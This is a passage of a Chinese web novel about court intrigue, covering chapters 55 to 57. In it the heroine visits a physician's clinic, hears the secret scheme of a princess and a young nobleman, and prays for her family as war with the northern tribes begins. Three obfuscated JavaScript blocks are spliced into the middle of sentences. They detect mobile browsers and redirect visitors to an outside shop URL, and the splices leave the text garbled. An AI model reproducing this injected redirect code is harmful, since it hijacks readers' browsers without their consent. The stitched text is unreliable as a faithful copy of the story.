薛琮冲他翻了个白眼:“这是我妹妹,你自己拿袖子擦吧。” 薛容玦笑着递给月红一张帕子,让她拿给周俞安,笑道:“表兄看起来不像兄长如此累。” 周俞安拿到帕子开开心心地说:“那时因为薛琮不好好训练,都退步了,真不知道这样的人怎么保护妹妹。” 薛琮一听就不乐意了:“我怎么保护不了妹妹了!有本事跟我去后山比射箭,你这是仗势欺人!” “好了好了,”大长公主笑着打断了二人幼稚地争执,又转头对薛琮道,“怎么今日才到?” 薛琮对外祖母还是十分恭敬的:“京都有事本就耽误了些时日,这几日雪势太大路上积雪太多又迟了几日。” 薛容玦看了看大家了然的样子,问薛琮:“怎么只有我不知道阿兄要来?” 薛琮笑着摸了摸妹妹的脑袋:“这不是要给你个惊喜?” 薛容玦总觉得他在哄自己。 薛琮像想起了什么似的对周俞安道:“此番前来还有一事,就是带你去京都。” 周俞安饮着茶大剌剌地摆了摆手,意思很明确,不去。 薛琮却笑着道:“别这么快拒绝,你听完再决定。” 他起身揽着周俞安到一旁,两人不知说了什么,周俞安以手握拳咳了咳像是在掩饰什么尴尬:“……那我过几日和阿玦一起走。” 大长公主十分好奇两人说了什么:“什么事你们还偷偷摸摸的,让我们也听听。” 周俞安摇了摇头,倒是薛琮笑着说:“晚些告诉您。” 周老太爷倒是一副了然的样子,只是那苍老的面庞上莫名多了些悲伤。 大长公主看着他们俩嫌弃道:“不说拉倒,去去去,你们俩臭死了,快去洗洗,我也要去练长枪了。” 薛琮和周俞安对视一眼,笑着起身拉起外祖母道:“好久没见外祖母耍枪了,快让我们俩瞧瞧!” 大长公主故作嫌弃:“你们一个两个都不跟我学长枪,看什么看。” 可她上扬的嘴角却泄露的她的心情。 陈昔带着小儿子先离开去为薛琮收拾院落,薛容玦让婢女都离开,才看向周老太爷道:“外祖父能不能告诉阿玦平德十五年到底发生了什么?” 周老太爷闻言面上没有意外:“听你母亲说你去明郡时就知道你早晚会有此一问。” 周老太爷长叹了一口气,看着遥遥远方:“平德十五年,那真是很久远的事情了。” * 如果说周昌源最不愿回忆的,就是平德十五年。 那一年开春,北蛮大举来犯,盛锦茗和周昌源早些年在战场上受了重伤,后来捡回了一条命却无法再上战场。 可是他们的儿子周铎继承了父母的军事天分,却一直在宫中担任中郎将,他一直想上战场,此次请求带兵攻打北蛮。 后来陛下犹豫一番还是让薛勖霖带兵,周铎为副将辅佐。 薛勖霖最初是宫中侍卫,后来凭借自己的妹妹一步步走上武将巅峰。很少有人知道,薛勖霖早在当侍卫时就与周铎相识,二人就如薛琮和周俞安一般,不过薛勖霖性子更内敛,周铎更不羁。 北蛮内部其实也是几股势力交织,内部矛盾并不比外部矛盾小。当年恰逢北蛮旧王驾崩,几番争权夺利五王子成为北蛮新王。 新王急需一场胜利来巩固他摇摇欲坠的统治,于是便有了平德十五年的北蛮大举来犯。 可是新王刚刚登基,并未能收服人心,不同派别的势力在这场斗争中都有自己各自的打算,所以对于薛勖霖这样的将领而言,北蛮看着势头挺大,但这场仗其实并不难打。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12849207|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,嘴角的笑容似有若无:“毕竟那也是我的伯母,倒是表兄真的下定决心了?我所谋求的到最后怕是一场空,表兄真的想好了?” “殿下何出此言?”崔原有几分困惑,“太子殿下虽说在朝中有些势力,可是如今颇为陛下忌惮,薛家风头太盛,这正是殿下的机会。” 一阵风吹来,凭凉湖的湖水随风波动,风的身影在此刻似乎拥有了形状。盛硕伸出手去捕捉,风却未曾为他停留,只是顺着指缝溜走了。 他悄然一笑,却说了一段不相关的往事:“我幼时在学堂,课业时时跟不上,每每下学便会遭到母亲的责骂。那一段时日,我下了学总是不愿回棠梨殿。后来有一日,我又被夫子责骂,我忍不住一个人在这凭凉湖边哭。 “太子殿下有自己的太傅,并不与我等一同上学堂。天家父子少亲近,更何况我们这些异母兄弟。我往日里也只是在宴席上远远见过太子殿下,母亲总是告诫我离他们薛家人远一些。 “我原以为,太子殿下会当做未曾见到我,可他竟停下了步伐为我擦去眼泪。他还同我讲他幼时之事。原来太子殿下也并非生来就如此优秀的,皇后娘娘也对他十分严苛。只是太子殿下聪慧无双,我却资质平庸。 “那日太子殿下是为皇后娘娘去御花园里采了新开的茉莉花才会路过这里,他说这是皇后娘娘最喜欢的花。他赠予了我一朵洁白茉莉,他说,人生之路漫漫,何须于初生之年便苛责己身?不若感知花之绽放,体察雨之纷落,领略世间之瑰丽,或可得快乐之微增。 “那朵茉莉纯洁秀丽、清幽淡雅,我满心欢喜跑回去想将它送给母亲。可是我还未曾开口,她便将茉莉丢在脚下踩了上去,说我玩心重,怪不得夫子总是责骂我,怪不得父皇更喜欢太子殿下不喜欢我。 “那朵洁白的茉莉花,就这样被尘土碾成齑粉。” 那无法捕捉的风似乎将他又带回了无望黑暗的童年。 每当他无法令母亲满意时便会被关入那间漆黑一片、暗无天日的暗房之中,尽管他已经拼尽全力了。 他的泪水不能令母亲心软半分,母亲只会在他一遍遍认错后才会将他放出来,轻轻拭去他的泪水:“不要怪母亲心狠,只是我们不能输。” 他一直不明白,母亲要赢的究竟是什么呢?是像春日宴上世家少年的骑射那样争个输赢吗?还是像远方北境与蛮族之战般争个输赢? 时至今日,他仍然在想,母亲究竟要赢什么呢? 崔原忍不住问道:“后来呢?” 盛硕扯出了一个笑容,只是那笑容总有些苦涩:“后来?后来就到了现在。” 他没有说出口的是,他总是会想起那朵清幽茉莉,有些可惜,它真的很漂亮啊。 崔原闻言也有些沉默,盛硕却无所谓地笑了笑道:“对了,你母亲的尸身待父皇着人验尸后,我会着人运到归元寺了,再过几日你带着阿荔去看看吧。 “我答应你会让大伯父伯母合葬就一定会做到。” 崔原一掀衣袍,跪在盛硕面前语气严肃道:“崔原此后为五皇子肝脑涂地,在所不辞。” 盛硕这次却并未扶他,只是声音有些冰凉:“我知晓你欠了牧平也一个人情,我可以让你把这个人情将来还在薛容玦身上,但自今日后,你同他们便与陌生人无异了。” “那是自然,”崔原声音有些不可察觉的颤抖,却仍抬起头与五皇子对视,“只是殿下答应过我不会伤害她,还望殿下莫忘。” 盛硕打量的目光似有千斤重,崔原有些承受不住却仍咬牙与他对视,盛硕却突然移开了目光,声音中有几分崔原无法理解的情绪,有些淡然又有些复杂:“你放心,我对薛家人从来都没有兴趣。” 55. 莺啼有泪(三) 竹筠和薛容玦走在街上,薛容玦好奇地打量着眼前的医馆。 「闲云医馆」 竹筠在一旁笑道:“郡主怕还是未曾来过吧?现在闲云医馆在京都也算是小有名气。” 薛容玦感兴趣地看向竹筠,微微挑眉:“哦?怎么说?” “茵陈姑娘时不时便会在城外坐义诊,这京都外村庄里的老人家没有不识得张医女的。” 薛容玦点点头,眼中浮上几分笑意,迈步走向闲云医馆:“走,我们去瞧瞧。” 刚一迈入医馆,淡淡的草药香气便扑鼻而来。 医馆内的人并不多,茵陈坐在一旁坐诊,许是平常她一人忙不过来,有两个薛容玦未曾见过的小姑娘在医馆里忙活着。一个一边熬着药一边招呼着患者,一人按照茵陈开的诊方抓药。 医馆内井然有序,门口的小姑娘看到她衣着不凡却仍然规矩地道:“姑娘若是来看诊还请前往侧间排队。” 薛容玦看到茵陈认真的模样并不想打扰她,便跟随着小姑娘前往侧间排队,却未曾想遇到了熟人。 春日的到来似乎带走了一部分病疾,是以今日医馆内等候的人并不多,可薛容玦未曾想到会在这里碰到柳凭风。 柳凭风临窗而立,与一位姑娘的距离不近不远,既不会过分亲昵却也不会过分疏远。这位女子的双手轻轻放在其小腹上,神色间满是温柔与母性,正是薛容玦当日在宫宴上所见到的雪念姑娘。 他许是感受到有人进入房间,侧眼看去竟是薛容玦。他愣了一瞬转身准备行礼却被薛容玦拦住了:“有些时日未见了,柳公子怎变得如此客气?” 柳凭风听她语气如常似有调侃之意,他不禁松了口气。 自柳寂被柳老爷子逐出族谱自立门户后,柳凭风这才真真感受到了什么是世态炎凉。他知晓有不少人和柳扶云一样在背后看不上自己和父亲,但他却未曾想到人性竟凉薄至此。往日里同他交好的人都纷纷与他划清界限。 虽早知会有如此境况,当他真正身处其中时却还是难免心中苦涩。 他露出了这些时日以来的第一个真心的笑容对薛容玦道:“郡主……姑娘可是身子不舒服?” 薛容玦冲他摆了摆手示意她不想暴露身份,笑着道:“我无事,只是姑母近日身子不太好,我来找茵陈姑娘开个方子。” 侧间人虽不多却难免人多眼杂,他道:“不知姑娘可否方便移步一叙?” “那是自然,”薛容玦抬步随他向后院行去,竹筠正打算跟上,“你留在这里照看着雪念姑娘,柳公子是旧友,无妨的。” 柳凭风对雪念点点头示意她安心。 柳凭风显然常来这里,医馆的小姑娘并未阻拦他进入后院。 茵陈的后院除了一些蔬菜便是她种植的草药,还有一只可爱的小黄狗,想来他日长大也能看家护院。 薛容玦细细看着柳凭风,道:“柳公子看起来憔悴了一些,却也沉稳了不少。” 柳凭风微微一笑,却没有多少笑意:“我自小也算顺风顺水长大,虽在柳家有些不如意倒也不算大事,这次才算是真正经历了一场,世事繁复,如今才算是真正有所感悟。说起来,这还要多谢三公主。” 薛容玦一时有些疑惑:“这话如何说?” 柳凭风看了她一眼,不知想了些什么忽而一笑,如春风拂面,真真是人如其名。 “郡主也不算外人,告知郡主也无妨。那日宫宴之事是我与三公主之谋划。她不愿被迫嫁人,我不愿选择崔家与五皇子,正巧我二人便一拍即合。” “啊?”薛容玦有些怔愣,“那……那雪念姑娘呢?” 柳凭风道:“那日殿上我并无半分虚言,雪念确实曾救我一命,她腹中孩子的父亲是我一好友,如今人在边境驻军。” “原来如此,”薛容玦点点头,“三公主对一切都知情?” 柳屏风微微颔首:“三公主本就无意嫁我,七夕之时我二人曾偶遇郡主,那时三公主不过是在试探在下,见我意决才告知于我,我二人才谋划宫宴之事。雪念姑娘愿帮我此忙也是因三公主许诺她送她一家团聚。 “只是……” 薛容玦捕捉到了他言语中一瞬而过的情绪:“想来护国寺也是三公主谋划中的一环,既然一切都按照公主与公子的计划进行,若我猜测不错,能令公子叹息的怕只有柳老爷子的态度了吧?” 柳凭风轻叹一口气:“郡主聪慧。扶云总觉得祖父偏疼父亲与我,但实则不然。祖父与祖母相识的经过我不曾知晓,我只知晓父亲对祖父心中怨念极深,想来与祖母有关。 “我曾以为祖父对父亲与我的好是出于对祖母的愧疚,可是父亲却说若祖父真有愧疚祖母又怎会含恨而终,他如今的作派不过是做给老夫人看的。 “往日恩怨我并不知晓,我只知父亲的存在就是祖父的污点,他想借老夫人的手除掉父亲,可没想到老夫人竟真的容忍父亲至今。 “所以他才能如此迅速地舍弃父亲与我,这一切都是宫宴后父亲告知于我的。” 薛容玦看他明明情绪低沉却仍要挤出一个笑容:“不想笑便不笑。” 柳凭风惨淡一笑,声音却疑惑飘渺:“祖父的疼爱是假的、身边昔日的繁华盛景也是假的,我这二十年难道生活在一场虚幻之中么?” 薛容玦并未出言开解,只是弯下身将在她脚边跑来跑去的小黄狗抱在怀里:“公子看它可爱吗?” 柳凭风不知她是何意,却仍伸出手轻抚了抚小黄狗的脑袋,小黄狗舒服地在薛容玦怀中摇摆着尾巴。 “自然是可爱的,无烦亦无忧。” 薛容玦笑着看着怀中的小黄狗笑着道:“庄周梦蝶,蝶梦庄周,即便大梦一场,公子此刻的触感是真的,不是吗? “公子刚说自己是否生活在一场虚幻之中,可是公子刚刚轻抚小狗手中的温热触感是真的,春日暖阳流淌在公子身上带来的温暖也是真的,云卷云舒、花开花谢都是真实存在的。 “人生短短数十载,不若展眼远观,未来那么长,何必拘泥于过去?” 柳凭风看了看小黄狗又看了看薛容玦,半晌未开口忽而展颜大笑:“郡主说的是,在下还有抱负未曾实现,为何要沉溺于虚妄之中。” “郡主来了怎也不派人前来说一声,我好准备准备。”茵陈的声音从屋内匆匆传来。 柳凭风笑着向薛容玦拱手:“郡主一席话令在下如梦方醒,在下先行一步,改日再见。” 薛容玦笑着向他点头。 她将怀中挣扎的小狗放在地上,拂了拂身上的褶皱笑着对茵陈道:“不是什么大事,你先忙。” 茵陈引着她坐在院中的石桌上,又招呼两个小姑娘斟碗茶来:“今日患者不多,已然处理完毕了。” 她看到薛容玦的目光流连在两个小姑娘身上,她们手脚麻利一看便是能干之人,笑着道:“想来郡主已经知晓了,我偶尔会到城外坐义诊。这两个小丫头是一位老爷子的孙女,可惜老爷子药石无医,我瞧着她们可怜正巧她们二人识得几个字,我也缺人手便让她们来帮我打个下手,也能学些东西,日后也算是一技之长。” 薛容玦道:“原来如此,不知该如何称呼她们?” 茵陈招手让两个丫头近前来介绍自己,大一些的显然更外向一些:“贵人好,在下叫玲珑今年十三了。这是妹妹琉璃,今年十一岁。” 薛容玦摸了摸她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12855984|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们俩的脑袋,从头上摘下两支簪子递给她们:“初次见面,这簪子便当作见面礼吧。日后要跟着茵陈姐姐好好学东西,莫要辜负她知道么?” 两个小姑娘看向茵陈的目光充满崇敬,玲珑急急道:“我们自当不会辜负姐姐的!” 茵陈笑着摸了摸她们俩的头笑着说:“好了,去草药的功效吧,我晚些考校你们。” 玲珑和琉璃拿着簪子开开心心地走了,茵陈看着她们欢快的背影笑着问道:“郡主今日前来可是有何事?” 薛容玦点了点头:“姑母近日旧病复发,虽已好了不少,却整日里睡不安稳,我想着你能否为她调制些安神香?” 茵陈细细问了问薛皇后的病症,在吃着什么药还有夜间是否会惊醒等细节,薛容玦一一作答,茵陈思索片刻道:“皇后娘娘这是陈年旧疾,我须得好好想想,过几日我将香送去郡主府上可好?” 薛容玦点了点头:“你的医术我自然是相信的,还有一事。” 自柳凭风与雪念离去后竹筠原在院门处候着,见郡主招手飞身向前递给她一个木盒。 薛容玦将木盒放在茵陈面前,她看到茵陈疑惑的目光开口道:“这是崔夫人留给你的。” 茵陈的声音有些疑惑:“给我?” - “给茵陈?” 薛容玦奇怪地问牧平也:“崔夫人还说什么了?” 牧平也看着她,眸光里的情绪让她有些看不懂:“崔夫人还说,她很感谢你。” 薛容玦不禁有些愣神。 她相信她所做所为没有错处,不论崔夫人害死的是否是真的皇子,那都是一条性命不是么?只是,她曾想过崔夫人心中会如何想她?会怨?会恨?可她唯独没有想到会感谢她。 “为什么?” ——为什么会感谢我? 牧平也看到她茫然又无措的样子,拉起她的手声音温柔又怜爱:“崔夫人说你会懂的,自无名寺初见,她知道你是会懂她的人。” 薛容玦仍是脑袋发懵,她感觉到有一股清香将她包裹,她知道这是牧平也的怀抱,只是她的思绪不由得又回到了那日的清心堂。 崔夫人清淡的声音似乎仍然萦绕在耳边。 ——我想要什么自会去争取。 ——人生漫长,足堪反覆。 ——没有这种如果,毕竟往事不可追。 “往事不可追,来者犹可忆。①” 事到如今,她没有往事可追,没有来者可忆,也许死亡反而是解脱。 - “郡主?” 薛容玦被茵陈的声音拉回了现实,定了定神道:“我也不知这是什么,崔夫人只说让交给你。 “许是你与夫人投缘,她惦念你过得不好给你留了一些傍身之物。” 茵陈沉默地打开了木盒,木盒里并非薛容玦以为的金银财宝,只是一个有些年头的玉佩。薛容玦离得有些远,玉佩拿在茵陈手中她没能看清楚玉佩的雕刻,但她注意到木盒中似乎还有些东西。 “那是信么?” 茵陈收起了玉佩,从木盒中拿出了信。 说是信也不准确,只是一张纸,上面写了寥寥几句话。 薛容玦看茵陈神色有些黯淡,试探着问:“难道是夫人交代了什么令你为难之事?” “不是的,”茵陈摇了摇头,笑容也有些惨淡,“夫人只是说与我投缘赠我一枚玉佩。” “我只是有些不解,夫人如此通透的人,可曾有过半分后悔?” ——是,这是我为数不多的后悔。 薛容玦长长叹了一口气,垂下了眼睫掩盖了所有的情绪,声音有着不易察觉的颤抖:“也许有。” 56. 莺啼有泪(四) 薛容玦前阵子在宫中为薛皇后侍疾,茵陈制的安神香果真有用,薛皇后睡得安稳了不少,加上汤药身子也渐渐好了起来,薛容玦才得以归家清休几日。 薛容玦此刻正坐在自家湖心亭上赏春光只见周俞安面色严肃地从远处走来,薛容玦觉得有些奇怪。 周俞安成日里不是在练功便是在看兵书,鲜少能在除了饭桌外的地方看到他。薛容玦正欲笑着开口可看到周俞安严肃的面容忽然想到她这些日子在宫中侍疾,忘了最重要的一件事。 “阿玦,北蛮来袭了。” 不知为何,明明是早就知晓的事情可她仍觉得心内惶惶忙起身问道:“是父亲领兵吗?” “是,三日后我随姑丈一同出征,”周俞安点点头,看着她紧张的样子安慰道,“不必担心,姑丈领兵自然没有问题。” 她强自按压下心中的不安:“……北蛮呢?何人率军?” “是出连雍。” 出连雍,薛容玦知道这个名字,北蛮的下一任国君。 北蛮国姓出连,出连雍是如今北蛮国君一母同胞的亲弟,其人治国颇有手腕。盛朝最终的破败离不开他曾为北蛮奠定的基础。 只是史书记载此战役率军者却并非出连雍。 怎么会这样呢? ——难道我就像那枚被投入湖中的石子,只是这涟漪如今涤荡到了北蛮么…… - 柳树悄悄冒出了芽儿,青草也都破土而出为山野染上绿意。 护国寺建在高山之巅,红墙琉璃瓦与这蓝天绿草交相辉映,自成一体。 主殿内,一位身着青衣的少女虔诚地跪在佛祖面前,肤白胜雪却唇色淡淡,双手合十与悲天悯人的佛祖对视。 薛容玦轻闭双眼,俯下身去心中默念。 ——唯愿父兄此去平安,战事顺利,早日归来。 一叩、再叩、复叩。 空寂的大殿只有似有若无的风回应着她。 护国寺为皇家寺院本不允闲杂人等随意进出,薛容玦得知消息后立刻进宫求得薛皇后许可来为父兄求平安符。 护国寺护一国安宁永乐,想来也能护得父兄平安顺利。 “安乐?你怎么来了?”盛璐沅的声音从殿外传来。 竹筠扶着薛容玦起身,她向盛璐沅行了一个拂裙礼:“参见公主殿下。” 盛璐沅轻轻抬手示意她不必见外,薛容玦这才看到盛璐沅穿着简单仅一袭白衣不施粉黛,她长得和崔棠很像,往日里常见她们母女均是一袭宫装并浓妆艳艳。如今乍一见盛璐沅艳丽的面庞褪去浓妆,真真是淡妆浓抹总相宜。她眼眸清亮人看起来也轻松自在许多,衣角还有些泥土。 盛璐沅看到她的目光在自己的裙摆笑了笑:“成日里除了诵经也无事可干,春日到了,便随着师傅们一起侍弄些花草,也别有一番意趣。” 薛容玦点了点头:“公主的气色很好,看来在此受益良多。” “在此处心静无忧,自然气色红润,”盛璐沅带着她朝自己的院落行去,“你今日怎么来了?可是皇后娘娘有何训示?” “未曾,”薛容玦轻轻摇了摇头,“父兄不日出征,安乐前来护国寺为父兄求平安。” 盛璐沅却恍然大悟道:“原来如此,本宫说怎么这几日都不见裴枫,原来是因此之故。” 薛容玦心中总因此次战事烦闷,故不想再继续此话题于是便道:“前些日子,安乐在医馆偶遇了柳二公子,他与安乐讲了同公主之谋划,公主算无遗策、聪慧无双。” 盛璐沅闻言大笑出声,她笑起来时眉眼间十分像崔棠,只是崔棠媚眼如丝,而盛璐沅不知是不是因为近日住在寺庙之中,晨钟暮鼓令人神清气爽,她的眉眼间多了几分洒脱。 若要形容,薛容玦觉得崔棠便是夏日海棠妩媚动人,盛璐沅则如玫瑰艳丽动人。 “这本宫可不敢当,本宫只是不想嫁人,这法子是裴枫替本宫想的。” 薛容玦若有所思道:“裴姑娘确实……胸有城府。” 二人谈话间便到了盛璐沅的院落,院中古朴充满禅意,盛璐沅拉着她进了屋子,也没有俗物。桌上摆着花瓶插着几根新折的柳枝,书桌上还放着未曾抄完的佛经。 “本宫这里有好茶,知你懂茶,你且来吃吃看。” 盛璐沅泡茶十分熟练,薛容玦曾听闻崔棠泡得一手好茶,当日也是凭借一手茶艺得陛下青眼。 盛璐沅动作迅速,将茶盏推至她面前,期待地看着她:“你试试。” 薛容玦左手拿起茶盏却未饮,右手轻扇闻到了淡淡的清甜,她浅斟了一口:“这茶倒是有趣,闻起来有些清甜,原以为入口会有些甜腻,竟十分清爽,这茶叫什么?可否告知个中诀窍?” 盛璐沅笑得颇为骄傲,却不惹人厌烦全是女儿家的娇嗔:“独门秘籍,不可说不可说。不过却可告知你这茶曰‘露冷’,是本宫近日新研制出来的。你倒是有口福的,做了这第一人,裴枫这几日不见人还未尝到呢。” “公主果然同贵妃娘娘一般精通茶艺,都是个中高手。” 没想到,原本神采奕奕的盛璐沅闻言却像忽然愣了愣,像是一朵艳丽的玫瑰忽被日头晒败。她漂亮面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872990|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上原本的笑意都不见了,困惑攀上了她的面庞,一双眼眸犹如春日雨幕般朦胧:“你母亲会逼你做你不愿之事吗?” 不论是容母还是周韫都是十分温柔的人,薛容玦轻轻摇了摇头:“公主何出此问?” 盛璐沅放下手中茶盏,目光被窗外刚抽芽的柳树吸引走了,只听得她声音幽幽不复刚才欢快:“我其实一点也不喜欢茶艺,但自小母亲就逼我学,原来是母亲为了让我引得父皇侧目。父皇并非爱茶之人,不会因此多看我一眼的,可是母亲说她当年就是凭借茶艺引得父亲侧目的。 “后来我才知晓,真正嗜茶之人是外祖,母亲所说的‘父亲’是外祖。” 她惨淡一笑:“母亲自小便不被外祖看好,可她却偏偏不服气,为得到外祖认可做了太多太多才走到如今。可是我和她有什么区别呢,在外祖眼中母亲不过是他敛权的工具而已,我又何尝不是她的工具。” 盛璐沅说着看向薛容玦,双眸隐有泪光仿若碧波荡漾:“本宫是公主,若想顺遂平安一生再容易不过。可是她却不顾我意愿为我择定柳二,还说这是为我好是爱我。 “可是爱一个人,难道不该是愿她开心无忧吗?” 薛容玦不知说些什么,递上一张干净帕子想让她拭去眼角的泪水。可是盛璐沅却没有接,只是仰起头抬手抹去了眼角的泪水:“你知道吗?我自小便十分羡慕你。皇后娘娘和薛夫人都对你极尽宠爱。 “母亲让我努力得到父皇的宠爱,让阿硕……” 盛璐沅忽而摆了摆手粲然一笑,那笑容如春花般娇俏,望向碧空的双眸流淌着向往:“不说了,如今这样也不错。本宫自长大以来还未过过如此轻松自在的日子,听花开雨落、看风动云飘,真是好不自在。若是有朝一日我能游离大江南北便好了。” 薛容玦笑着对她道:“公主性子炽烈、心有万物,与普通女子不同,或许真有那一日呢。” 二人又闲聊不提,待天色渐暗盛璐沅送薛容玦到护国寺门口,薛容玦本已走出几步却又突然转身跑回盛璐沅眼前,却问了个奇怪的问题:“公主还记得,前几年宫中来了一位东襄棋师,摆出一副困其一生之局以求解吗?” 盛璐沅不明所以地点了点头:“记得,当时无人能破其局。” “公主后来掀翻了棋盘还与那棋师争辩了一番,有一句话安乐仍然言犹在耳。” 盛璐沅双眸懵懂显然已经忘却,奇道:“是什么?” ——此弈局非囚吾辈也,乃自囚于君心耳。君自甘陷溺,吾则不欲同沦。 ——吾岂为物役使心有所拘乎? 57. 莺啼有泪(五) 马车在路上缓慢而稳定地行驶着,薛容玦手中紧紧攥着两个平安符,脑中却不断回荡着刚才真元大师将平安符交到她手中时所说的话。 “欲知前世因,则今生所受者是,欲知后世果,则今生所为者是。” 薛容玦正发呆之际,马车忽地停了下来,如筠的声音传了进来:“郡主,牧公子在前方。” 薛容玦掀开车帘便见到牧平也一袭白衣立于路旁,衣袂飘摇,犹如谪仙。 牧平也笑着踏步而来,未待薛容玦反应过来他已落座她身旁,而马车也晃悠悠地起步。 薛容玦近日在宫中侍疾、牧平也近日也十分忙碌,二人长久未见。 薛容玦看向他疑惑道:“你怎么在此处?你近日不是很忙么?” 牧平也却未答话,他抬手抚上了她的面庞,二人目光相交。他略带心疼地道:“昭昭瘦了。” 薛容玦微微笑道:“许是在宫中有些劳累,养几日便好了。” 牧平也一手抬起她小巧的下颌,少女的馨香扑面而来,一如春花明媚。 他轻轻抚平她微皱的眉头:“我知你心中因北蛮来袭薛将军领兵不安,若不想笑便不笑。” 薛容玦握紧了手中的平安符,轻轻靠在他的肩头,语气带上了不自觉的亲昵:“不知为何,我这心中总是不安。” “睡一觉吧,”牧平也小心翼翼地将她揽入怀中,仿佛她是稀世珍宝一样,语气轻柔又爱怜,“睡一觉就好了。” 薛容玦本不觉困倦,可是一见到他近日的疲惫便涌上了心头,眼皮沉沉地坠了下来,很快牧平也的耳边传来了平稳的呼吸声。 他看着少女在自己怀中安睡,心中有着说不出的满。少女美好得犹如画中神女,眼睫像蝶翅般轻轻颤动着,面颊像被春日桃花晕染一样,红唇艳如樱桃。 他珍重而不带任何情欲地在她额上落下一吻。 山间的风吹起了车帘,薛容玦半梦半醒间看到了黄昏吻向了远方的天际线。 黄昏轻吻了我,她在沉睡前想道。 - 马车停在了街边,车内一灯如豆,昏暗的烛光下薛容玦的睡颜沉静安稳。 牧平也就静静揽着她享受这一刻的宁静。 不多时,薛容玦悠悠转醒,声音还带着一丝慵懒:“我们到家了么?” 家。 这个字触动了牧平也,他想象到几月后就会和她拥有属于自己的“家”,嘴角流露出浓浓的笑意,声音中都带着化不开的喜悦。 “还未曾到薛府,我们来瞧瞧方婶。” 薛容玦起身掀开帘子看了看。 天色已然暗沉了下来,街上零零落落地有些人影。 牧平也已快她一步下车,朝她伸出了手。 薛容玦长久以来的睡眠便极差,即便茵陈为她专门制了安神香,却还是夜间多梦。 梦中的景象光怪陆离,可是醒来后却什么也抓不住。 她很久没有这样好好地睡一觉了,她看着牧平也的手,有些犹豫要不要搭上去。 她很清楚在这段关系中自己始终处于被动的一方,牧平也表面温善平和,但内里却像头狼一样目标坚定,遇到心仪的猎物毫不犹豫地出击。 牧平也望向她的目光平和璀璨还带着不自觉流露的爱意。 不渴望这样真诚、炽烈的感情吗?她多次在心底追问自己。 可是她总是会想到早逝的容母和自焚的容父,她怕她所贪恋的一切都是镜花水月、一场虚妄。 可是这一刻,她忽然想到去岁七夕烟花在他身后绽放,他此刻的目光一如烟花璀璨绚烂。 她希望烟花永不坠落。 她伸出素手刚一搭上他的手掌便被紧紧攥住。 ——我渴望这样真诚、炽烈的情感。 她听到了自己内心的声音。 牧平也扶着她稳稳地下了马车,牵着她走在街上。 “方婶的儿子此番亦要随你父亲一同出征,方婶心中很不好受,所以今日正巧带你来瞧瞧她。” 薛容玦点了点头:“即便孩子已然长大,母亲总是不放心的。” 说话间,二人已走到方婶的摊位前,方婶一个人忙碌地招呼着客人,看到他们二人很是惊喜忙道:“快坐下,我为你们下碗面。” 牧平也牵着薛容玦坐在角落的位置上,在她落座前还不忘为她在凳上放了一张帕子。 一个熟悉的身影走来,走到摊位前熟练地为方婶打起了下手。 牧平也看她的目光不住地看向那人便解释道:“那便是方婶的儿子,方贺。” 方贺像他母亲一般浓眉大眼,身材颀长,高大却不给人压迫感。一头乌发微卷着,双眸明亮如星。 薛容玦打量着他,转头和牧平也道:“他和你一般年岁么?瞧着十分高大,只是长得颇像他母亲,高大却不魁梧,像是书中写的高手。” 牧平也闻言笑着刮了一下她的鼻子:“你啊,成日里看的都是些什么话本子。 “方贺的确与我同岁,他自小便比同龄人长得高大些。听闻他在军中表现也十分出彩,否则此番也不会随你父亲出征。” 方贺将二人的面端了上来:“有些烫,姑娘小心。” 牧平也不满地接过:“你该叫她阿嫂,叫什么姑娘。” 方贺回头看母亲并不繁忙,便坐了下来,揽着牧平也的肩膀笑得颇为豪爽,二人一看就十分相熟:“你这心眼真是小,那些画卷藏着掖着不给看就算了,如今人在眼前不过说了一句话你也不愿。” “姑娘,”方贺开玩笑道,“日后你可要小心些,他这人有些吓人的。” “胡说什么你,”牧平也一把甩开他的胳膊,又笑着对薛容玦道,“别听他胡说。” 薛容玦笑着看他们打闹摇了摇头,专心吃面听着他们二人交谈。 牧平也看着方婶的身影,拍了拍方贺的肩膀:“战场凶险,方婶也是不放心你。” 方贺原本脸上还挂着笑容,闻言却慢慢淡了下去:“我知晓,只是我不能这样过一辈子,我也有我想要的东西。” 薛容玦虽未曾看到他的面容,可却听到这声音中充满了说不出的惆怅和不甘。 不甘于做一名小士兵吗? 只是,有上进心难道不是好事吗?方婶只因担心方贺便不愿他上战场么? 薛容玦的思绪被方婶打断了,她招招手叫薛容玦过去。薛容玦看了看牧平也,他笑着让她前去。 方婶拉着她在一旁坐下,眉眼中都是笑意:“我曾有一对女儿,这是为她们二人打造的镯子,可是……” 